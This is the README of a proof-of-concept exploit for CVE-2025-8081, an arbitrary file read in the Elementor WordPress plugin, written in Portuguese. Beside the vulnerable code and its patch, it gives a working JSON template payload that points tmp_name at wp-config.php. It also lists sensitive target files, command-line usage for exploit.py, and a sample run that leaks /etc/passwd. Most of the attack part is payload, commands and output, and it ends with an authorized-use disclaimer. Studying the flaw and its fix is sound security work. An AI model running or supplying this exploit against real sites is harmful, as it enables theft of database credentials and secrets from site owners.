
Prova de conceito de exploit para CVE-2025-8081, uma leitura arbitrária de arquivos no plugin Elementor para WordPress, permitindo que administradores autenticados leiam arquivos sensíveis como wp-config.php.
Uma vulnerabilidade crítica de leitura arbitrária de arquivos no plugin Elementor para WordPress que permite que administradores autenticados leiam qualquer arquivo acessível pelo servidor web, incluindo arquivos de configuração sensíveis que contêm credenciais de banco de dados.
| Propriedade | Valor |
|---|
| ID do CVE | CVE-2025-8081 |
| Tipo | Leitura Arbitrária de Arquivos (CWE-22: Path Traversal) |
| Pontuação CVSS | 4.9 (Média) - Impacto Real: CRÍTICO |
| Vetor CVSS | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| Versões Afetadas | Elementor ≤ 3.30.2 |
| Versão Corrigida | Elementor ≥ 3.30.3 |
| Data de Lançamento | 22 de julho de 2025 |
| Data de Divulgação | 15 de outubro de 2025 |
wp-config.php revela credenciais de banco de dados e chaves de segurançaA vulnerabilidade existe em um único arquivo em uma única linha:
elementor/includes/template-library/classes/class-import-images.php
Linha 115 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Usado quando chamado para importar um arquivo enviado diretamente.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ SEM VALIDAÇÃO!
}
Problema: O parâmetro tmp_name NÃO é validado com is_uploaded_file(), permitindo que um atacante especifique caminhos de arquivo arbitrários.
if ( isset( $attachment['tmp_name'] ) ) {
// Usado quando chamado para importar um arquivo enviado diretamente.
$filename = $attachment['name'];
$file_content = false;
// validação de segurança caso o tmp_name tenha sido adulterado
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDAÇÃO ADICIONADA!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
Correção: O patch adiciona a validação is_uploaded_file() para garantir que tmp_name se refira a um arquivo legítimo enviado via HTTP POST.
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json)leaked_config.txtResultado: Conteúdo de wp-config.php com credenciais de banco de dados expostas!
| Arquivo | Descrição | Impacto |
|---|---|---|
/var/www/html/wp-config.php | Configuração do WordPress | 🔴 CRÍTICO - Credenciais do banco de dados |
/proc/self/environ | Variáveis de ambiente | 🔴 CRÍTICO - Chaves de API, segredos |
| Arquivo | Descrição | Impacto |
|---|---|---|
/etc/passwd | Usuários do sistema | 🟠 ALTO - Enumeração de usuários |
/var/www/html/.htaccess | Configuração do servidor web | 🟠 ALTO - Divulgação de configuração |
/var/log/apache2/access.log | Logs do Apache | 🟡 MÉDIO - Divulgação de informações |
python3 exploit.py -t https://target.com -u admin -p password123
Argumentos Obrigatórios:
-t, --target URL URL do WordPress alvo (ex.: https://target.com)
-u, --user USERNAME Nome de usuário do administrador do WordPress
-p, --password PASS Senha do administrador do WordPress
Argumentos Opcionais:
-f, --file PATH Arquivo a ser lido (padrão: /var/www/html/wp-config.php)
-o, --output FILE Nome do arquivo de saída (padrão: gerado automaticamente)
--insecure, -k Desabilitar verificação de certificado SSL
-v, --verbose Habilitar saída detalhada para depuração
-h, --help Mostrar mensagem de ajuda
# Exploração básica (lê wp-config.php com payload padrão)
python3 exploit.py -t http://target.com -u admin -p password123
# Arquivo alvo personalizado
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# Com HTTPS e certificado autoassinado
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# Modo detalhado com saída personalizada
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# Do OrbStack/Docker visando a máquina host
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
APENAS PARA FINS EDUCACIONAIS E TESTES AUTORIZADOS
Esta ferramenta é fornecida apenas para fins de pesquisa de segurança e testes de penetração. O uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal.
É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis.
Ao usar esta ferramenta, você concorda em usá-la de forma legal e ética.
Última Atualização: 17 de outubro de 2025